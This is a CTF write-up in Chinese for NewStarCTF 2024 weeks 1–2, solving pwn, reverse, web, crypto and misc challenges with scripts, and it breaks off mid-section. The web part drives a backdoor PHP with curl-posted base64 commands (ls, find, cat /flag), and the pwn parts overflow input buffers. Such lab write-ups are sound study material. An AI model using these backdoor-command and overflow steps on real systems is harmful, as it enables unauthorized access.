NewStarCTF 2024 WriteUp

28k words

注:这是我第一次参加CTF,初来乍到,当时的许多表达、做法放在现在看都是不专业甚至可笑的,就当做黑历史吧…

赛题轮次:Week1

已解出的题目:

题目类型 题目名称
Pwn Real Login、Game、overwrite、gdb
Reverse base64、ezAndroidStudy、Simple_encryption、ez_debug、begin
Web headach3、会赢吗、智械危机
Crypto xor、Base、一眼秒了、Strange King
Misc WhereIsFlag、Labyrinth、decompress、pleasingMusic、兑换码

Pwn方向:

Real Login:

反编译观察函数,发现要输入密码,找到密码是NewStar!!!,观察发现没有位数溢出保护机制,在虚拟机中nc地址后输入NewStar!!!+大量额外字符弹出祝贺,此时已经成功,用ls指令查看文件发现有一个flag,再用cat查看得到flag{6a532e27-a281-4c15-b965-c030de9c47df}.

Game:

反编译观察函数,发现是要求在5s内输入0-9之间的数,总和超出999之后可以获得控制权限,于是在nc地址之后以形如“9 换行 9 换行 9…”的形式同时输入一百余次复制粘贴执行,获得控制权,用ls查看发现有flag,再查看发现flag{4a045fea-9b70-4637-8561-cf5bece7e814}.

Overwrite:

反编译观察函数,第一个要求填入读取的字节数,不能超过48字节(但为什么容器里超过40就不行了?),第二个要求填数,填入的数被存在nbytes里,但接下来程序却会用nptr和114514进行比较,结合题目名称猜测应该是要输入超长的字节来覆盖同栈上的nptr,于是将第一个空填入超大的数,发现第二空能正常填入,经过动态调试发现输入54个9时nptr会被覆盖为999999\n,大于等于114514,所以在第一空输入一大堆9,第二空输入54个9,返回flag{48d03781-f157-4869-8041-5ba44bef070a}.

gdb:

反编译观察函数,注意到是把字符串0d000721以key = mysecretkey1234567890abcdefghijk用AVX指令集进行了复杂的加密,再与输入的值进行比对,观察加密函数,经过IDA+linux远程动态调试和把原函数丢给AI验证出需要输入的字符对应的十六进制是5D 1D 43 55 53 45 57 45,对应的字符是]_x001D_CUSEWE(第二个字符是不可打印字符),尝试把不可打印字符输入进命令行中,发现进入程序并不能正常转换,于是使用命令来代替输入:printf ‘\x5D\x1D\x43\x55\x53\x45\x57\x45’ | nc 容器地址,返回祝贺和flag{205f9ae3-9d66-4523-b4b7-283cb5e1e381}.

Reverse方向:

Base64:

用IDA打开base64.exe然后在string里面发现以下几行:

1
2
3
4
5
6
.rdata:0000000140011003	00000011	C	Enter the flag: 
.rdata:0000000140011014 00000018 C Wrong flag, try again.\n
.rdata:0000000140011030 00000025 C g84Gg6m2ATtVeYqUZ9xRnaBpBvOVZYtj+Tc=
.rdata:0000000140011055 0000000F C Correct flag!\n
.rdata:0000000140011064 00000014 C Welcome to NewStar!
.rdata:0000000140011080 00000041 C WHydo3sThiS7ABLElO0k5trange+CZfVIGRvup81NKQbjmPzU4MDc9Y6q2XwFxJ/

由最后一行和题目名称猜测该行为换了表的base64加密,g84Gg6m2ATtVeYqUZ9xRnaBpBvOVZYtj+Tc=应该是用换表base64加密的flag,由此构建Python代码:

1
2
3
4
5
6
7
8
import base64
import string

str1 = "g84Gg6m2ATtVeYqUZ9xRnaBpBvOVZYtj+Tc="
base64_1 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
base64_2 = "WHydo3sThiS7ABLElO0k5trange+CZfVIGRvup81NKQbjmPzU4MDc9Y6q2XwFxJ/"
t = str1.translate(str.maketrans(base64_2,base64_1))
print(base64.b64decode(t).decode())

解得flag为flag{y0u_kn0w_base64_well}.

ezAndroidStudy:

在模拟器上安装并运行apk,进入后提示用jadx进行反编译,并提示第一段flag在Androidmanifest.xml的activity里,反编译后在资源文件里找到Androidmanifest.xml,发现有两个activity,其中一个
<activity android:name="work.pangbai.ezandroidstudy.Homo"/>点开后发现第一部分的flag:flag{Y0u,进入二部分,得知flag在resources.arsc/res/value/string.xml中,寻找得到第二部分的flag:_@r4,进入第三部分,根据提示在/res/layout/activity\_main.xml中找到第三部分的flag:_900d,进入第四部分,根据提示在/res/raw/找到flag4.txt,获得第四部分的flag:_andr01d,进入第五部分,根据其提示在/lib/x86\_64/中找到libezandroidstudy.so/libpl\_droidsonroids\_gif.so,导出后在IDA查看libezandroidstudy.so,在函数中找到Java\_work\_pangbai\_ezandroidstudy\_MainActivity\_getflag5,反编译发现第五部分的flag:_r4V4rs4r},拼合得到flag{Y0u_@r4_900d_andr01d_r4V4rs4r}.

Simple_encryption:

在IDA中反编译并观察代码,首先要求输入的flag会逐个字符填入input数组中,直到达到30个字符,之后对于其中每个字符,根据其在数组中的位置分别进行不同的转换:

1
2
3
4
5
6
7
8
9
for ( j = 0; j < len; ++j )
{
if ( !(j % 3) )//3的倍数
input[j] -= 31;//让该字符的ASCII值减31
if ( j % 3 == 1 )//余1
input[j] += 41;//让该字符的ASCII值加41
if ( j % 3 == 2 )//余2
input[j] ^= 0x55u;//对该字符的ASCII值进行0x55的异或
}

接下来是将字符ASCII转为十六进制并与buffer中的值进行比较:

1
2
3
4
5
6
7
8
9
10
for ( k = 0; k < len; ++k )
{
printf("0x%02x ", input[k]);
if ( input[k] != buffer[k] )
{
printf("error");
return 0;
}
}

其中buffer为{0x47, 0x95, 0x34, 0x48, 0xA4, 0x1C, 0x35, 0x88, 0x64, 0x16, 0x88,0x07, 0x14, 0x6A, 0x39, 0x12, 0xA2, 0x0A, 0x37, 0x5C, 0x07, 0x5A,0x56, 0x60, 0x12, 0x76, 0x25, 0x12, 0x8E, 0x28, 0x00, 0x00},倒推得到{102, 108, 97, 103, 123, 73, 84, 95, 49, 53, 95, 82, 51, 65, 108, 49, 121, 95, 86, 51, 82, 121, 45, 53, 49, 77, 112, 49, 101, 125, 31, -41}(末尾两个数据排除),结合ASCII得知flag为:flag{IT_15_R3Al1y_V3Ry-51Mp1e},代码如下:

1
2
3
4
5
6
7
8
9
a = [0x47, 0x95, 0x34, 0x48, 0xA4, 0x1C, 0x35, 0x88, 0x64, 0x16, 0x88, 0x07, 0x14, 0x6A, 0x39, 0x12, 0xA2, 0x0A, 0x37, 0x5C, 0x07, 0x5A,0x56, 0x60, 0x12, 0x76, 0x25, 0x12, 0x8E, 0x28, 0x00, 0x00]
for i in range(30):
if(i % 3 == 0):
a[i] += 31
elif(i % 3 == 1):
a[i] -= 41
elif(i % 3 == 2):
a[i] = a[i] ^ 0x55
print(chr(a[i]),end = '')

ez_debug:

将程序用x64dbg打开,将断点打在输出Decrypted flag:所对应的行,进行动态调试,输入随便的字符,到断点位置时发现断点的周围变量中含有flag:flag{y0u_ar3_g0od_@_Debu9}.

Begin:

运行exe程序,发现需要用IDA进行反编译,打开IDA进行反编译,按Fn+F5反编译main函数得到第八行为:
strcpy((char *)&flag_part1, "OK,You can click on this variable to discover the first part\n");
点击其中的变量得到乱码:6B614D7B67616C66h,按a转化为字符串得到flag的第一部分:flag{Mak3_aN_(这里在看十六进制的时候也找到了对应行:
0000000000403010 66 6C 61 67 7B 4D 61 6B 33 5F 61 4E 5F 00 00 00
flag{Mak3_aN_…),再按Fn+Shift+F12转到
.rdata:0000000000404000 00000086 C this is flag part2: 3Ff0rt\_tO\_5eArcH\_ ,You can press' x 'on the variable name of this string to view the function that references it,得到第二部分的flag:3Ff0rt_tO_5eArcH_,注意到其下方两行还有提示:
.rdata:0000000000404088 0000007A C And you can press 'x' key on the function name to see which function references this function,Flag Part 3 is right there.
.rdata:0000000000404108 00000045 C the function name is flag part3,Don't forget to add a '}' at the end,按提示双击左侧.rdata:0000000000404108跳转到IDA_view,找到第三部分的flag函数为:F0r_th3_f14g_C0Rpse,组合得到flag{Mak3_aN_3Ff0rt_tO_5eArcH_F0r_th3_f14g_C0Rpse}.

Web方向:

Headach3:

打开网页后发现是head(er) ache,header是标头,开启开发者模式,在网络页面刷新网页,得到一个文档,在响应标头里找到属性fl3g:flag{You_Ar3_R3Ally_A_9ooD_d0ctor}.

会赢吗:

第一个页面在源代码中发现flag第一部分ZmxhZ3tXQTB3以及第二个页面的后缀/4cqu1siti0n,第二个页面发现给出了一个getflag的方法,于是结合上面给出的课程名称,在控制台调用并输出第二部分的 flag: IV95NF9yM2Fs和第三个页面的后缀/s34l,第三个页面检查源代码后发现要把已封印的文本改成解封,发现flag的第三个部分MXlfR3I0c1B和第四个页面的后缀/Ap3x,进入第四个页面,发现有一个被禁用的noscript按钮无量空处,挪出来后发现不显示,于是在前面将class为s的改为显示,按下得到flag的第四部分fSkpKcyF9,合并起来之后得到ZmxhZ3tXQTB3IV95NF9yM2FsMXlfR3I0c1BfSkpKcyF9,进行base64后解密得到flag{WA0w!_y4_r3al1y_Gr4sP_JJJs!}.

智械危机:

询问ai后在网页后加入后缀/robots.txt,访问得到两行数据:User-agent: \*Disallow: /backd0or.php,查询百科得知robots.txt的作用,并访问后缀/backd0or.php,访问后查询得知这是一种后门示例,需要提供cmd和key,观察代码得知key会被base64解码为decoded_key,cmd会被先翻转字母再取MD5,然后判定两者是否相等,如果不等则以不合法的密钥来结束,否则将cmd也base64解码,执行被解码的cmd,若访问后门时候提供了cmd和key就会执行decrypt_request后再带进execute_cmd执行得到系统返回的cmd,否则就展示后门的源代码.
首先尝试列出所有文件(ls指令),尝试Linux输入命令:
curl -X POST -d "cmd=bHM=&key=N2FiZThiMjRiZDAxMzc0NDZmZDMzNmMyMjk4ZmNjYTA=" http://eci-2zeimkpaddax8w71qsw9.cloudeci1.ichunqiu.com/backd0or.php ,只返回了backd0or.php、index.php、robots.txt,并没有所需的flag,于是进一步搜寻所有带flag的文件(find / -name "flag\*" 2>/dev/null):curl -X POST -d "cmd=ZmluZCAvIC1uYW1lICJmbGFnKiIgMj4vZGV2L251bGw=&key=Y2ZlNDg1MjNjNTY4NmI5YzBjNmIwM2M3YmQyN2JiMjg=" http://eci-2zeimkpaddax8w71qsw9.cloudeci1.ichunqiu.com/backd0or.php,返回了如下文件:

1
2
3
4
5
6
7
8
/sys/devices/pnp0/00:04/tty/ttyS0/flags
/sys/devices/platform/serial8250/tty/ttyS2/flags
/sys/devices/platform/serial8250/tty/ttyS3/flags
/sys/devices/platform/serial8250/tty/ttyS1/flags
/sys/devices/pci0000:00/0000:00:03.0/virtio0/net/eth0/flags
/sys/devices/virtual/net/lo/flags
/sys/devices/virtual/net/dummy0/flags
/flag

再查看flag:curl -X POST -d "cmd=Y2F0IC9mbGFn&key=ODc5YTU5MWM2Nzg1YTRlMTM5OGI5NmE5YTFiYzY3ZWI=" http://eci-2zeimkpaddax8w71qsw9.cloudeci1.ichunqiu.com/backd0or.php,得到flag{03b6f3f8-8dfa-40e3-b077-59d9009d520e}.

Crypto方向:

Xor:

题目给了一个xor的python程序,将两个量执行后得到了c1的long整数和c2的byte字符串,并给出了key = b'New\_Star\_CTF',现将c2=b';:\x1c1<\x03>\*\x10\x11u;'转换为long整数18329866411473355926313989435,用题目所给库pycryptodome进行逆向还原,把key也从byte字符串转换为long整数,并分别用c1和c2与key进行异或运算,将得到的long整数再次转换为byte字符串,并用utf-8编码得到前半段flag{0ops!_yo和后半段u_know_XOR!},最终flag{0ops!_you_know_XOR!}.
Python代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from Crypto.Util.number import long_to_bytes, bytes_to_long

key = b'New_Star_CTF'
key2 = bytes_to_long(key)
c1 = 8091799978721254458294926060841
c2 = b';:\x1c1<\x03>*\x10\x11u;'
c2 = bytes_to_long(c2) # 18329866411473355926313989435
c1_xor = c1 ^ key2
c1_bytes = long_to_bytes(c1_xor)
c1_str = c1_bytes.decode('utf-8')
c2_xor = c2 ^ key2
c2_bytes = long_to_bytes(c2_xor)
c2_str = c2_bytes.decode('utf-8')
flag = c1_str + c2_str
print(flag)

Base:

4C4A575851324332474E324547554B494A5A4446513653434E564D444154545A4B354D45454D434E4959345536544B474D5134513D3D3D3D扔进cyberchef,经过16进制+base32+base64转换为flag{B@sE_0f_CrYpt0_N0W}.

一眼秒了:

观察所给py文件发现是RSA加密算法,给了两个308位的整数,测试getprime(512)函数发现生成的是154-155位的质数,这样得到的n可以是308位的整数,将第一个数(n)因数分解(分解网站https://factordb.com/)得到

1
2
p=7221289171488727827673517139597844534869368289455419695964957239047692699919030405800116133805855968123601433247022090070114331842771417566928809956044421
q=7221289171488727827673517139597844534869368289455419695964957239047692699919030405800116133805855968123601433247022090070114331842771417566928809956045093

计算φ(n) = (p-1)*(q-1):

1
phin=52147017298260357180329101776864095134806848020663558064141648200366079331962132411967917697877875277103045755972006084078559453777291403087575061382674858130758088899044472900099582762041084679725101595564288259840921657497158600332295551583526683560422708098048258479197276963841017255615653572783474986640

私钥d 使用 gmpy2.invert(e,φ(n))求解得到:

1
d=50815830946428726535614046353626937023197652348927437511761939372692971763376865348702551167390521792222849904014468110435221645117001665727526339627128906414128425003411450284449391237239907716037717446619737025290761260576445929041941546093509744402441915711334879221133938020030558707487954892232538055553

结合

1
c=48757373363225981717076130816529380470563968650367175499612268073517990636849798038662283440350470812898424299904371831068541394247432423751879457624606194334196130444478878533092854342610288522236409554286954091860638388043037601371807379269588474814290382239910358697485110591812060488786552463208464541069

而m = pow(c, d, n),得到

1
m=56006392793407635344141327873443751833955250118605130634434259084012318581267186801727168881696715389

把m从long转化为bytes得到b’flag{9cd4b35a-affc-422a-9862-58e1cc3ff8d2}‘,即包含flag.
Python代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from Crypto.Util.number import *
from gmpy2 import *
n = 52147017298260357180329101776864095134806848020663558064141648200366079331962132411967917697877875277103045755972006084078559453777291403087575061382674872573336431876500128247133861957730154418461680506403680189755399752882558438393107151815794295272358955300914752523377417192504702798450787430403387076153
e = 65537
p = 7221289171488727827673517139597844534869368289455419695964957239047692699919030405800116133805855968123601433247022090070114331842771417566928809956044421
q = 7221289171488727827673517139597844534869368289455419695964957239047692699919030405800116133805855968123601433247022090070114331842771417566928809956045093
phin = (p-1)*(q-1)
print('φ =',phin)
d = gmpy2.invert(e,phin)
print(d)
d = 50815830946428726535614046353626937023197652348927437511761939372692971763376865348702551167390521792222849904014468110435221645117001665727526339627128906414128425003411450284449391237239907716037717446619737025290761260576445929041941546093509744402441915711334879221133938020030558707487954892232538055553
c = 48757373363225981717076130816529380470563968650367175499612268073517990636849798038662283440350470812898424299904371831068541394247432423751879457624606194334196130444478878533092854342610288522236409554286954091860638388043037601371807379269588474814290382239910358697485110591812060488786552463208464541069
m = powmod(c, d, n)
print('m =',m)
m = 56006392793407635344141327873443751833955250118605130634434259084012318581267186801727168881696715389
m2 = long_to_bytes(m)
print('m2 =',m2)
m3 = m2.decode('utf-8', errors='ignore')
print('m3 =', m3)

Strange King:

观察发现ksjr{EcxvpdErSvcDgdgEzxqjql}的前四位是偏移量分别为5,7,9,11的凯撒加密,以此类推得到初步结果flag{RngcugFqPqvUvqrNgctkpi},被包裹部分再进行偏移量为2的凯撒解密得到flag{PleaseDoNotStopLearing}.

Misc方向:

WhereIsFlag:

下载vmware和linux Ubuntu并安装虚拟机,在指令行里面nc指令进入所给地址,经过测试用ls指令在proc/self里找到三个文件,其中environ用cat指令查看得到flag{a3aacfc0-a14c-4331-9cc1-0f70dc678d4b}.

Labyrinth:

查看图片的LSB(lsb.daidr.me),在RGB plane 0模式下得到一张二维码,扫描得到flag{e33bb7a1-ac94-4d15-8ff7-fd8c88547b43}.

decompress:

将16个zip压缩分卷合并解压得到flag{e6468aaf-7ddc-4eb2-b6db-bce9f1ffb52f_oOo0hhh_U_r3411y_K0nw_h0w_2_d3c0mpr355_Multi-part_archive_5e35fcde-28e1-487d-9659-ba2dab629bb3_&_Th1s_f1ag_15_s0O0oO_l0oOoOng999_b433dc9b-db28-4a1d-965b-dc0a95d3a53a},整体32位小写MD5加密得到c6edaba55bac51875a215e2de11c35dd,即为flag.

pleasingMusic:

将音乐文件中出现的摩斯电码倒置解读得到EZ_MORSE_CODE,即为flag.

兑换码:

用winhex修改图片高度,在下方发现flag{La_vaguelette}.

赛题轮次:Week2

已解出的题目:

题目类型 题目名称
Reverse UPX、drink_TEA、Ptrace、ezencrypt、PangBai 泰拉记(1)、Dirty flowers
Web 你能在一秒内打出八句英文吗
Crypto 这是几次方?疑惑!、Since you konw something、
茶里茶气、Just one and more than two
Misc wireshark_checkin、wireshark_secret、热心助人的小明同学、
用溯流仪见证伏特台风、你也玩原神吗、字里行间的秘密、Herta’s Study

Reverse方向:

UPX:

用exeinfope查看发现加了upx壳,用UPX程序对原文件进行脱壳,用IDA反编译得到main主函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __fastcall main(int argc, const char **argv, const char **envp)
{
int status; // [rsp+Ch] [rbp-4h]

puts("Please input your flag:");
__isoc99_scanf("%22s", s);
RC4(s, key);
for ( status = 0; status <= 21; ++status )
{
if ( s[status] != data[status] )
{
puts("this is Wrong~");
exit(status);
}
}
puts("this is right~");
return 0;
}

观察发现是RC4算法,通过IDA反编译找到key为NewStar,在Linux Ubuntu上进行动态调试,打断点后得到data内储存的数据为:{0xC4, 0x60, 0xAF, 0xB9, 0xE3, 0xFF, 0x2E, 0x9B, 0xF5, 0x10, 0x56, 0x51, 0x6E, 0xEE, 0x5F, 0x7D, 0x7D, 0x6E, 0x2B, 0x9C, 0x75, 0xB5},询问AI得到RC4解密代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <stdio.h>
#include <string.h>
// RC4算法的实现
void RC4(unsigned char *data, unsigned char *key, int data_len) {
int i, j, t;
unsigned char S[256], K[256];
unsigned char temp;
// 初始化S盒
for (i = 0; i < 256; i++) {
S[i] = i;
K[i] = key[i % strlen((char *)key)];
}
// 打乱S盒
j = 0;
for (i = 0; i < 256; i++) {
j = (j + S[i] + K[i]) % 256;
temp = S[i];
S[i] = S[j];
S[j] = temp;
}
// 生成密钥流并加密/解密数据
i = 0;
j = 0;
for (t = 0; t < data_len; t++) {
i = (i + 1) % 256;
j = (j + S[i]) % 256;
temp = S[i];
S[i] = S[j];
S[j] = temp;
data[t] ^= S[(S[i] + S[j]) % 256];
}
}
int main() {
unsigned char s[32];
unsigned char key[] = "NewStar";
unsigned char data[] = {0xC4, 0x60, 0xAF, 0xB9, 0xE3, 0xFF, 0x2E, 0x9B, 0xF5, 0x10, 0x56, 0x51, 0x6E, 0xEE, 0x5F, 0x7D, 0x7D, 0x6E, 0x2B, 0x9C, 0x75, 0xB5};
// 使用RC4算法对data进行解密
RC4(data, key, 22);
// 输出解密后的flag
printf("The correct flag is: %s\n", data);
return 0;
}

解出flag为:flag{Do_you_know_UPX?}.

drink_TEA:

反编译观察主函数,发现首先是长度检测,要求输入的flag应当是32位(20h),然后将输入的字符每8字节执行一次以key = ‘WelcomeToNewStar’的魔改TEA加密:

1
2
for ( i = 0; i < dword\_7FF6E5E74078; i += 8 )
sub\_7FF6E5E71180((unsigned int \*)&Buf1[i], aWelcometonewst); //aWelcomeNewSt即为key

经过转换:

1
2
3
4
5
import struct
key = "WelcomeToNewStar"
key_bytes = key.encode('utf-8')
key_ints = struct.unpack('<4I', key_bytes)
print(key_ints)

得到key = [0x636C6557, 0x54656D6F, 0x77654E6F, 0x72617453],动态调试找到加密后的32字节为:[0x78, 0x20, 0xF7, 0xB3, 0xC5, 0x42, 0x0C, 0xE, 0xDA, 0x85, 0x59, 0x21, 0x1A, 0x26, 0x56, 0x5A, 0x59, 0x29, 0x02, 0x0D, 0xED, 0x07, 0xA8, 0xB9, 0xEE, 0x36, 0x59, 0x11, 0x87, 0xFD, 0x5C, 0x23, 0x24],那么按8字节进行合并得到[0x7820F7B3C542CEDA, 0x8559211A26565A59, 0x29020DED07A8B9EE, 0x36591187FD5C2324],接下来观察被魔改的TEA加密部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
__int64 __fastcall sub_7FF6E5E71180(unsigned int *a1, _DWORD *a2)
{
__int64 result; // rax
unsigned int v3; // [rsp+0h] [rbp-38h]
unsigned int v4; // [rsp+4h] [rbp-34h]
int v5; // [rsp+8h] [rbp-30h]
unsigned int i; // [rsp+Ch] [rbp-2Ch]

v3 = *a1;
v4 = a1[1];
v5 = 0;
for ( i = 0; i < 0x20; ++i )
{
v5 -= 1640531527;
v3 += (a2[1] + (v4 >> 5)) ^ (v5 + v4) ^ (*a2 + 16 * v4);
v4 += (a2[3] + (v3 >> 5)) ^ (v5 + v3) ^ (a2[2] + 16 * v3);
}
*a1 = v3;
result = 4i64;
a1[1] = v4;
return result;
}

由于TEA要把原数据拆分成两个部分,所以实际上每次大循环产生的v3和v4是:

1
2
3
4
5
v3		    v4
0x7820F7B3 0xC542CEDA
0x8559211A 0x26565A59
0x29020DED 0x07A8B9EE
0x36591187 0xFD5C2324

并且这里的v5也与标准的TEA不同,是从-1640531527开始,每次逐步减小直到-32*1640531527的,基于此构建逆向函数后却发现不论是正向加密还是逆向解密,v3、v4的位数都会逐渐扩大,再次进行动态调试,代入测试值进行检查,发现key(a2)的值居然是变动的,并且v3、v4也一直维持八位数,再次详细观察推断后发现v3、v4、v5等均为32位整型,在计算过程中因为超出了32位上限而全部被 & 0xFFFFFFFF,而a2的值的变动并不影响v3、v4在不变情况下的计算值(也就是说相当于没有变动),所以真正的加密函数是:

1
2
3
4
for i in range(32):
v5 = (v5 - 1640531527) & 0xFFFFFFFF
v3 = (v3 + ((a2[1] + (v4 >> 5)) ^ (v5 + v4) ^ (a2[0] + 16 * v4))) & 0xFFFFFFFF
v4 = (v4 + ((a2[3] + (v3 >> 5)) ^ (v5 + v3) ^ (a2[2] + 16 * v3))) & 0xFFFFFFFF

基于此编写逆向代码:

1
2
3
4
5
6
7
8
9
10
11
a2 = [0x636C6557, 0x54656D6F, 0x77654E6F, 0x72617453]
v3 = [0x7820F7B3, 0x8559211A, 0x29020DED, 0x36591187]
v4 = [0xC542CEDA, 0x26565A59, 0x07A8B9EE, 0xFD5C2324]
for i in range(4):
v5 = (-32 * 1640531527) & 0xFFFFFFFF
for j in range(32):
v4[i] = (v4[i] - ((a2[3] + (v3[i] >> 5)) ^ (v5 + v3[i]) ^ (a2[2] + 16 * v3[i]))) & 0xFFFFFFFF
v3[i] = (v3[i] - ((a2[1] + (v4[i] >> 5)) ^ (v5 + v4[i]) ^ (a2[0] + 16 * v4[i]))) & 0xFFFFFFFF
v5 = (v5 + 1640531527) & 0xFFFFFFFF
print('%#x' % v3[i], '%#x' % v4[i])

得到:

1
2
3
4
5
v3		    v4
0x375bac75 0x6426e101
0x28af0d64 0x59ed8260
0x04aa71d2 0x5e2afbfb
0xcc99e4b9 0x1f63f6e9

但是并无法转换成可读字符,再观察寄存器RCX后发现四个字节是倒着填进去的(也就是说假设对计算结果37 5B AC 75,实际填入的是75 AC 5B 37,这叫做小端序),所以与原式不同,我们将原式每四个字节按小端序填入:

1
2
v3 = [0xB3F72078, 0x1A215985, 0xED0D0229, 0x87115936]
v4 = [0xDACE42C5, 0x595A5626, 0xEEB9A807, 0x24235CFD]

再次带入逆向脚本,得到:

1
2
3
4
5
v3		    v4
0x67616c66 0x6568547b
0x525f6572 0x4145545f
0x4554585f 0x6e615f41
0x58585f64 0x7d414554

十六进制转字符串得到:galfehT{R_erAET_ETX_na_AXX_d}AET,转换端序得到:flag{There_R_TEA_XTEA_and_XXTEA}.

Ptrace:

发现有两个文件father和son,反编译观察得知父程序检测输入的32个字符并创建子进程(也就是子程序),在子进程中完成检验,父程序会在ptrace(PTRACE_POKEDATA, addr, addr, 3)中将子程序的dword_60004040从其初始化设置的4改为3,子程序以start函数为起始,以sub_600011AD作为main函数,函数中的

1
2
for ( i = 0; i < v6; ++i )
byte_60004080[i] = ((int)(unsigned __int8)s[i] >> dword_60004040) | (s[i] << (8 - dword_60004040));

部分会将输入的每个字符右移dword_60004040位和左移8 - dword_60004040位的两个值进行按位或运算(即byte_60004080=(dword_60004040≫3)∣(dword_60004040≪5)),并将结果储存在byte_60004080中,之后会将byte_60004080byte_60004020进行比较,全部相符即为正确,查看得知byte_60004020的值为[0xCC, 0x8D, 0x2C, 0xEC, 0x6F, 0x88, 0xED, 0xEB, 0x2F, 0xED, 0xAE, 0xEB, 0x4E, 0xAC, 0x2C, 0x8D, 0x8D, 0x2F, 0xEB, 0x6D, 0xCD, 0xED, 0xEE, 0xEB, 0x0E, 0x8E, 0x4E, 0x2C, 0x6C, 0xAC, 0xE7, 0xAF],编写python代码解得flag为flag{Do_you_really_know_ptrace?}.

附:python代码:

1
2
3
4
5
6
7
8
9
10
11
def reverse(x):
for y in range(256):
if ((y >> 3) | (y << 5)) & 0xFF == x:
return y
z = [0xCC, 0x8D, 0x2C, 0xEC, 0x6F, 0x88, 0xED, 0xEB, 0x2F, 0xED, 0xAE, 0xEB, 0x4E, 0xAC, 0x2C, 0x8D, 0x8D, 0x2F, 0xEB, 0x6D, 0xCD, 0xED, 0xEE, 0xEB, 0x0E, 0x8E, 0x4E, 0x2C, 0x6C, 0xAC, 0xE7, 0xAF]
flag = []
for x in z:
y = reverse(x)
flag.append(y)
flag_str = ''.join(chr(y) for y in flag)
print(f"{flag_str}")

ezencrypt:

下载后发现是安卓应用程序,先用jadx打开分析主activity,发现是要输入值,然后把输入的东西交给enc类去处理,然后再拿enc处理过的输入进行检验,观察enc类发现其主要有以下几个功能:1.检验:调用本地方法 doEncCheck 来检验 this.enc 是否正确。2.生成密钥(stringToKey):将字符串 keyStr 转换为字节数组,生成 SecretKeySpec 作为密钥,其中this.encMainActivity.title有关(MainActivity.title = "IamEzEncryptGame")。3.加密:将输入的字符串转换为字节数组,用 secretKey 进行加密,再用 Base64 编码转换为字符串。4.解密:先将 Base64 编码的字符串解码为字节数组,再使用 secretKey 进行解密转换为字符串。发现不知道doEncCheck是什么,于是提取.so文件,用IDA反编译,找到起始的Java_work_pangbai_ezencrypt_Enc_doEncCheck检验函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__int64 __fastcall Java_work_pangbai_ezencrypt_Enc_doEncCheck(__int64 a1, __int64 a2, __int64 a3)
{
int i; // [rsp+Ch] [rbp-114h]
__int64 StringUTFChars; // [rsp+38h] [rbp-E8h]
char s[200]; // [rsp+50h] [rbp-D0h] BYREF
unsigned __int64 v9; // [rsp+118h] [rbp-8h]
v9 = __readfsqword(0x28u);
memset(s, 0, sizeof(s));
StringUTFChars = _JNIEnv::GetStringUTFChars(a1, a3, 0LL);
__strcpy_chk(s, StringUTFChars, 200LL);
_JNIEnv::ReleaseStringUTFChars(a1, a3, StringUTFChars);
enc(s);
for ( i = 0; i < 44; ++i )
{
if ( s[i] != mm[i] )
return 0;
}
return 1;
}

观察发现是将被enc处理后的s数组(输入的数组)与mm进行比较来得到结果,双击mm数组得到其值[0xC2, 0x6C, 0x73, 0xF4, 0x3A, 0x45, 0x0E, 0xBA, 0x47, 0x81, 0x2A, 0x26, 0xF6, 0x79, 0x60, 0x78, 0xB3, 0x64, 0x6D, 0xDC, 0xC9, 0x04, 0x32, 0x3B, 0x9F, 0x32, 0x95, 0x60, 0xEE, 0x82, 0x97, 0xE7, 0xCA, 0x3D, 0xAA, 0x95, 0x76, 0xC5, 0x9B, 0x1D, 0x89, 0xDB, 0x98, 0x5D],再观察enc函数:

1
2
3
4
5
6
7
8
9
__int64 __fastcall enc(char *a1)
{
int i; // [rsp+0h] [rbp-20h]
int v3; // [rsp+4h] [rbp-1Ch]
v3 = __strlen_chk(a1, -1LL);
for ( i = 0; i < v3; ++i )
a1[i] ^= xork[i % 4];
return encc(xork, a1);
}

观察发现enc函数为输入值与xork字符串的循环异或,之后找到xork数组是"meow",又找到encc函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
__int64 __fastcall encc(char *a1, char *a2)
{
unsigned __int64 v2; // rcx
__int64 result; // rax
unsigned __int8 v4; // [rsp+Ch] [rbp-34h]
int v5; // [rsp+14h] [rbp-2Ch]
int v6; // [rsp+18h] [rbp-28h]
int i; // [rsp+1Ch] [rbp-24h]
init_sbox(a1);
v5 = 0;
v6 = 0;
for ( i = 0; ; ++i )
{
v2 = __strlen_chk((__int64)a2, -1LL);
result = i;
if ( i >= v2 )
break;
v6 = (v6 + 1) % 256;
v5 = (sbox[v6] + v5) % 256;
v4 = sbox[v6];
sbox[v6] = sbox[v5];
sbox[v5] = v4;
a2[i] ^= sbox[(sbox[v5] + sbox[v6]) % 256];
}
return result;
}

其中a1是xork,a2是循环异或后的输入值,接下来又进行了类似RC4的加密。

分析得出总的逻辑链条:输入值会被带进enc的生成方法(作为string v),之后this.enc = encrypt(输入值, stringTokey(”IamEzEncryptGame”)),而encrypt函数则是先将1与key进行AES加密,然后再把输入值带进去加密,之后this.enc会被带进check进行检验,而这部分在.so文件内完成,this.enc会被存入s数组并在.so文件内执行文件内的enc函数,先与xork(也就是”meow”)进行循环异或,再返回xork和a1带入encc函数的值,而encc函数则会进行可逆的RC4加密,在i大于等于v2(也就是a2的长度,enc中a1的长度,检验函数中s的长度(应当与mm相等,是44))之后跳出循环,返回循环的次数(也就是应当输入字符串的长度44,是定值),同理enc也会返回44,虽然enc(s)的运算结果并没有对任何变量进行赋值,但是在此过程中this.enc已经被改变,进行了循环异或又进行了RC4加密,才与mm(也就是[0xC2, 0x6C, 0x73, 0xF4, 0x3A, 0x45, 0x0E, 0xBA, 0x47, 0x81, 0x2A, 0x26, 0xF6, 0x79, 0x60, 0x78, 0xB3, 0x64, 0x6D, 0xDC, 0xC9, 0x04, 0x32, 0x3B, 0x9F, 0x32, 0x95, 0x60, 0xEE, 0x82, 0x97, 0xE7, 0xCA, 0x3D, 0xAA, 0x95, 0x76, 0xC5, 0x9B, 0x1D, 0x89, 0xDB, 0x98, 